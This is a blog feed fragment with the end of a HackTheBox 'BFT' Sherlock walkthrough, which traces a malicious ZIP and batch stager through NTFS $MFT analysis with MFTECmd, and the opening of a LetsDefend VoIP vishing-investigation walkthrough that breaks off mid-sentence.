installations scripts for Windows systems that…&lt;/strong&gt;&#xA;_A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay! Once we have our virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-simon-stark-was-targeted-by-attackers-on-february-13-he-downloaded-a-zip-file-from-a-link-received-in-an-email-what-was-the-name-of-the-zip-file-he-downloaded-from-thelink&#34;&gt;Question 1: Simon Stark was targeted by attackers on February 13. He downloaded a ZIP file from a link received in an email. What was the name of the ZIP file he downloaded from the link?&#xA;&lt;/h3&gt;&lt;p&gt;Once we’ve downloaded the challenge file and unzipped the archive, let’s get a high-level overview of the artifacts and tools we have to work with.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;04b2632e5012403822b04df21bb5fe30_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;556px&#34; data-flex-grow=&#34;231&#34; height=&#34;345&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/04b2632e5012403822b04df21bb5fe30_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Windows Explorer: The contents of the challenge file folder&lt;/p&gt;&#xA;&lt;p&gt;Within the &lt;code&gt;C&lt;/code&gt; folder, we find a single file: &lt;code&gt;$MFT&lt;/code&gt;. This is the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Master File Table&lt;/em&gt;&lt;/a&gt;, which on &lt;em&gt;NTFS&lt;/em&gt; file systems contains an entry for every file on the system—including size, timestamps, and permissions. It&amp;rsquo;s a valuable forensic artifact for analyzing file activity on a system, and we&amp;rsquo;ll do exactly that.&lt;/p&gt;&#xA;&lt;p&gt;The other two folders contain our toolset. To analyze the &lt;code&gt;$MFT&lt;/code&gt;, we&amp;rsquo;ll use Eric Zimmerman&amp;rsquo;s &lt;a class=&#34;link&#34; href=&#34;https://github.com/EricZimmerman/MFTECmd&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MFTECmd&lt;/strong&gt;&lt;/a&gt;, a CLI-based tool that parses and exports the contents. Then, we&amp;rsquo;ll leverage &lt;strong&gt;Timeline Explorer&lt;/strong&gt;, another Eric Zimmerman tool—a powerful CSV viewer that lets us sort and manipulate the results.&lt;/p&gt;&#xA;&lt;p&gt;Now that we’ve got the background out of the way, let’s jump into &lt;em&gt;MFTECmd&lt;/em&gt; and try it out. Open &lt;em&gt;Windows Command Prompt&lt;/em&gt; and run the tool using the syntax below:&lt;/p&gt;&#xA;&lt;p&gt;MFTECmd.exe -f &amp;lt;PATH_TO_$MFT_Artifact&amp;gt; &amp;ndash;csv &amp;lt;PATH_TO_OUTPUT_DIRECTORY&amp;gt;&lt;/p&gt;&#xA;&lt;p&gt;This command generates a CSV file we can open with &lt;em&gt;Timeline Explorer&lt;/em&gt; for analysis.&lt;/p&gt;&#xA;&lt;p&gt;Fortunately, we won’t be searching blindly — there are some clues in the question to guide us. First, we know this is a downloaded file, so filter the &lt;em&gt;Parent Path&lt;/em&gt; column using the keyword &lt;code&gt;Downloads&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Next, filter the &lt;em&gt;Extension&lt;/em&gt; column for &lt;code&gt;.zip&lt;/code&gt; to isolate ZIP file downloads.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4520b0f32b65479e4d791f750468dc65_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;417px&#34; data-flex-grow=&#34;173&#34; height=&#34;460&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/4520b0f32b65479e4d791f750468dc65_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer: Identifying the ZIP file&lt;/p&gt;&#xA;&lt;p&gt;By combining these filters, we can identify the file used for initial access. To validate our findings, check the &lt;em&gt;Time Created&lt;/em&gt; column to match the date, February 13, to determine which ZIP file was created first.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;cb7ebb889d502446e2ad3900f5683b3a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1454px&#34; data-flex-grow=&#34;606&#34; height=&#34;132&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/cb7ebb889d502446e2ad3900f5683b3a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-examine-the-zone-identifier-contents-for-the-initially-downloaded-zip-file-this-field-reveals-the-hosturl-from-where-the-file-was-downloaded-serving-as-a-valuable-indicator-of-compromise-ioc-in-our-investigationanalysis-what-is-the-full-host-url-from-where-this-zip-file-was-downloaded&#34;&gt;Question 2: Examine the Zone Identifier contents for the initially downloaded ZIP file. This field reveals the HostUrl from where the file was downloaded, serving as a valuable Indicator of Compromise (IOC) in our investigation/analysis. What is the full Host URL from where this ZIP file was downloaded?&#xA;&lt;/h3&gt;&lt;p&gt;Next, we need to examine the &lt;em&gt;Zone Identifier&lt;/em&gt; for the downloaded ZIP file to identify the URL it came from.&lt;/p&gt;&#xA;&lt;p&gt;To do this, copy the &lt;em&gt;Entry Number&lt;/em&gt; column value,&lt;code&gt;75191&lt;/code&gt;,for the file we located in &lt;strong&gt;Question 1&lt;/strong&gt;. Then, clear the &lt;em&gt;Extension&lt;/em&gt; filter so we’re not limiting the view to just &lt;code&gt;.zip&lt;/code&gt; files.&lt;/p&gt;&#xA;&lt;p&gt;Next, input the value we copied into the &lt;em&gt;Entry Number&lt;/em&gt; column to view results tied to this specific entry in the &lt;code&gt;$MFT&lt;/code&gt;. Once filtered, we’ll see a second entry with the &lt;code&gt;.identifier&lt;/code&gt; extension.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;68905aee2db7ed1338063517a9d80b9b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;416px&#34; data-flex-grow=&#34;173&#34; height=&#34;461&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/68905aee2db7ed1338063517a9d80b9b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer: Filtering the $MFT entry number&lt;/p&gt;&#xA;&lt;p&gt;Scroll to the &lt;em&gt;Zone ID Contents&lt;/em&gt; column to determine the &lt;em&gt;HostURL&lt;/em&gt; metadata of the downloaded file. In the example below, I’ve double-clicked the entry to open the full cell contents&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2e26ea3a6d00f5455b4bfc18042ea2c1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;415px&#34; data-flex-grow=&#34;173&#34; height=&#34;462&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/2e26ea3a6d00f5455b4bfc18042ea2c1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer: Identifying the HostURL metadata&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c6652ff237a2b6b5f7ddbeb12ec3f071_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1432px&#34; data-flex-grow=&#34;597&#34; height=&#34;134&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/c6652ff237a2b6b5f7ddbeb12ec3f071_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-full-path-and-name-of-the-malicious-file-that-executed-malicious-code-and-connected-to-a-c2server&#34;&gt;Question 3: What is the full path and name of the malicious file that executed malicious code and connected to a C2 server?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve identified the malicious &lt;code&gt;.zip&lt;/code&gt; file and where it was downloaded from, let&amp;rsquo;s see if we can glean anything about its contents.&lt;/p&gt;&#xA;&lt;p&gt;Within &lt;em&gt;Timeline Explorer&lt;/em&gt;, clear the &lt;em&gt;Entry Number&lt;/em&gt; filter we used in the previous question. This time, we’ll search for the filename from within the &lt;code&gt;Downloads&lt;/code&gt; folder—this helps us understand more about the archive’s structure.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d5e96bd7dafa4837f0936060b872bfba_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;417px&#34; data-flex-grow=&#34;173&#34; height=&#34;460&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/d5e96bd7dafa4837f0936060b872bfba_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer: Sussing out the malicious file&lt;/p&gt;&#xA;&lt;p&gt;Using this keyword search, we’re able to identify a second archive, &lt;code&gt;invoice.zip&lt;/code&gt;, which contains a suspicious &lt;code&gt;.bat&lt;/code&gt; file—&lt;code&gt;invoice.bat&lt;/code&gt;. Copy the entry under the &lt;em&gt;Parent Path&lt;/em&gt; column and append the typical drive letter (&lt;code&gt;C:&lt;/code&gt;) to match the answer format.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;225ba9abac1f1c0340cca2b4789ea283_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1641px&#34; data-flex-grow=&#34;683&#34; height=&#34;117&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/225ba9abac1f1c0340cca2b4789ea283_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-analyze-the-created0x30-timestamp-for-the-previously-identified-file-when-was-this-file-created-ondisk&#34;&gt;Question 4: Analyze the $Created0x30 timestamp for the previously identified file. When was this file created on disk?&#xA;&lt;/h3&gt;&lt;p&gt;For our next task, we’ll continue analyzing the file we identified in Question 3. Scroll over to the &lt;em&gt;Created0x30&lt;/em&gt; column, which represents the file creation timestamp.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;de82e8e316606c7ade2436b5d5f40577_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;838px&#34; data-flex-grow=&#34;349&#34; height=&#34;229&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/de82e8e316606c7ade2436b5d5f40577_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer: Identifying the Created0x30 timestamp&lt;/p&gt;&#xA;&lt;p&gt;This timestamp reflects when the file was created on disk. This is a helpful piece of forensic metadata, especially when trying to correlate file activity with an attack timeline.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7f7eb4c7557869e05678bcd4272949fe_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1669px&#34; data-flex-grow=&#34;695&#34; height=&#34;115&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/7f7eb4c7557869e05678bcd4272949fe_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-finding-the-hex-offset-of-an-mft-record-is-beneficial-in-many-investigative-scenarios-find-the-hex-offset-of-the-stager-file-from-question3&#34;&gt;Question 5: Finding the hex offset of an MFT record is beneficial in many investigative scenarios. Find the hex offset of the stager file from Question 3.&#xA;&lt;/h3&gt;&lt;p&gt;To tackle &lt;strong&gt;Question 5&lt;/strong&gt;, we need to discover the hex offset for the malicious stager file. The hex offset is essentially the location where the entry is stored in the &lt;code&gt;$MFT&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To retrieve this information, let’s determine if there is a way to use &lt;em&gt;MFTECmd&lt;/em&gt; again by referring to the &lt;a class=&#34;link&#34; href=&#34;https://github.com/EricZimmerman/MFTECmd&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MFTECmd GitHub&lt;/a&gt; page for command usage. After reviewing the documentation, we’ll try the &lt;code&gt;--de&lt;/code&gt; option, which dumps the details of an entry:&lt;/p&gt;&#xA;&lt;p&gt;de Dump full details for entry/sequence #. Format is &amp;lsquo;Entry&amp;rsquo; or &amp;lsquo;Entry-Seq&amp;rsquo; as decimal or hex. Example: 5, 624-5 or 0x270-0x5.&lt;/p&gt;&#xA;&lt;p&gt;Next, locate the &lt;em&gt;Entry Number&lt;/em&gt; of the malicious file from the previous two questions under the &lt;em&gt;Entry Number&lt;/em&gt; column.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5e8ba7843a92d67398b28fc506337040_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;383px&#34; data-flex-grow=&#34;159&#34; height=&#34;501&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/5e8ba7843a92d67398b28fc506337040_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer: Identifying the Entry Number of the malicious stager file&lt;/p&gt;&#xA;&lt;p&gt;Putting this together, we can use the following syntax to print the results to the console:&lt;/p&gt;&#xA;&lt;p&gt;MFTECmd.exe -f &amp;lt;PATH TO $MFT Artifact&amp;gt; &amp;ndash;de 23436&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d926168efe75c0f8092ede672dbbeb36_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;398px&#34; data-flex-grow=&#34;165&#34; height=&#34;482&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/d926168efe75c0f8092ede672dbbeb36_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Command Prompt: MFTECmd command example to identify the offset&lt;/p&gt;&#xA;&lt;p&gt;Within the results, identify the &lt;em&gt;Offset&lt;/em&gt; value, chop off the leading padding &lt;code&gt;0x&lt;/code&gt;, and let’s check our work.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9ef79d5001f19e6caf51f10897c91f89_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1600px&#34; data-flex-grow=&#34;666&#34; height=&#34;120&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/9ef79d5001f19e6caf51f10897c91f89_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-each-mft-record-is-1024-bytes-in-size-if-a-file-on-disk-has-smaller-size-than-1024-bytes-they-can-be-stored-directly-on-mft-file-itself-these-are-called-mft-resident-files-during-windows-file-system-investigation-its-crucial-to-look-for-any-malicioussuspicious-files-that-may-be-resident-in-mft-this-way-we-can-find-contents-of-malicious-filesscripts-find-the-contents-of-the-malicious-stager-identified-in-question3-and-answer-with-the-c2-ip-andport&#34;&gt;Question 6: Each MFT record is 1024 bytes in size. If a file on disk has smaller size than 1024 bytes, they can be stored directly on MFT File itself. These are called MFT Resident files. During Windows File system Investigation, its crucial to look for any malicious/suspicious files that may be resident in MFT. This way we can find contents of malicious files/scripts. Find the contents of The malicious stager identified in Question3 and answer with the C2 IP and port.&#xA;&lt;/h3&gt;&lt;p&gt;We’ve made it to the last question, and our final task is to examine the &lt;em&gt;DATA&lt;/em&gt; attribute, which contains the malicious file stored directly in the &lt;code&gt;$MFT&lt;/code&gt; as a resident file, to identify the &lt;strong&gt;command and control&lt;/strong&gt; (C2) IP address and port.&lt;/p&gt;&#xA;&lt;p&gt;Within our &lt;em&gt;MFTECmd&lt;/em&gt; analysis results, scroll to the &lt;em&gt;DATA&lt;/em&gt; section and focus on the &lt;em&gt;ASCII&lt;/em&gt; portion.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;217fa6ad10636aecb50cde3409933aa1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;413px&#34; data-flex-grow=&#34;172&#34; height=&#34;464&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/217fa6ad10636aecb50cde3409933aa1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Command Prompt: MFTECmd output, identifying the C2 server&lt;/p&gt;&#xA;&lt;p&gt;Under the &lt;em&gt;ASCII&lt;/em&gt; section, we’ll find the contents of the file — a &lt;strong&gt;PowerShell&lt;/strong&gt; script used to retrieve a second-stage payload from the C2 server. For the purposes of our investigation, we just need to capture the IP address and port of the server to complete our analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;68f68f4ad62fdf59fa5577d35eaec424_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1280px&#34; data-flex-grow=&#34;533&#34; height=&#34;150&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/68f68f4ad62fdf59fa5577d35eaec424_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;4be6a1ca591a81a0d05e27b6880dc88f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;301px&#34; data-flex-grow=&#34;125&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/4be6a1ca591a81a0d05e27b6880dc88f_MD5.png&#34; width=&#34;714&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we have it! Using the &lt;em&gt;MFT&lt;/em&gt;, we’ve successfully uncovered how the victim’s device was infected, gathered details about the first-stage payloads, and identified the command and control (C2) server. Now that we’ve explored the &lt;em&gt;MFT&lt;/em&gt; and put those skills into practice to complete our objectives, let’s close out this walkthrough of the BFT Sherlock.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hack The Box&lt;/strong&gt;&lt;/a&gt; for another impressive Sherlock. This was a really fun challenge that let me revisit the fundamentals of &lt;em&gt;MFT&lt;/em&gt; analysis and be reintroduced to this essential forensic artifact. Personally, learning more about &lt;em&gt;MFT Resident files&lt;/em&gt; was a highlight. It was so cool to see that concept in action to identify the C2 server. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;07670987b1c64247f60a1576b9626235_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/BFT&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.hackthebox.com/sherlocks/BFT&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Flare-VM:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mandiant/flare-vm&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Eric Zimmerman’s Tools:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Master File Table (Local File Systems):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MFTECmd:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/EricZimmerman/MFTECmd&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/EricZimmerman/MFTECmd&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — VoIP Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/</link>
            <pubDate>Sun, 11 May 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — VoIP Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--voip-challenge-walkthrough&#34;&gt;LetsDefend — VoIP Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-social-engineering-voip-call-using-wireshark&#34;&gt;Investigating a Social Engineering VoIP Call Using Wireshark&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/voip&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/voip&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/voip&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VoIP&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. This week, we&amp;rsquo;re going to dissect Voice Over IP (VoIP) traffic with everyone&amp;rsquo;s favorite packet analysis tool -&lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Your close friend James recently received a suspicious phone call from someone claiming to be his bank. The caller asked for sensitive information, making James uneasy. Suspecting a potential Vishing (Voice Phishing) attack, you decide to investigate by capturing and analyzing the VoIP traffic.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Our objective this week is to investigate a network packet capture file containing the contents of a social engineering call received by our friend James to determine the scope of the attack, including the attacker&amp;rsquo;s phone number and what information James divulged. Sounds like fun, right? Let&amp;rsquo;s get to it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-how-many-rtp-packets-were-in-thetraffic&#34;&gt;Question 1: How many RTP packets were in the traffic?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ll kick off our investigation by first extracting the archive file, &lt;code&gt;Bank Incident.7z&lt;/code&gt;, from within the &lt;code&gt;ChallengeFile&lt;/code&gt; directory. Then, double-click &lt;code&gt;Traffic.pcapng&lt;/code&gt; to open it with &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/a&gt;, which we&amp;rsquo;ll use analyze the packet capture data.&lt;/p&gt;&#xA;&lt;p&gt;Once the packet capture is open, we&amp;rsquo;ll focus on determining the number of &lt;a class=&#34;link&#34; href=&#34;https://wiki.wireshark.org/RTP&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;RTP&lt;/strong&gt;&lt;/a&gt; packets within the capture to answer &lt;strong&gt;Question 1&lt;/strong&gt;. Before searching for the answer, let&amp;rsquo;s take a beat to understand what RTP is from the &lt;a class=&#34;link&#34; href=&#34;https://wiki.wireshark.org/RTP&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Wireshark Wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;RTP, the real-time transport protocol. RTP provides end-to-end network transport functions suitable for applications transmitting real-time data, such as audio, video or simulation data, over multicast or unicast network services.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In the context of our investigation, the RTP packets carry the data content of the VoIP call so determining the total number of packets provides an overview of the call which we&amp;rsquo;ll use later in the investigation.&lt;/p&gt;&#xA;&lt;p&gt;To figure out the total number of RTP packets, we&amp;rsquo;ll 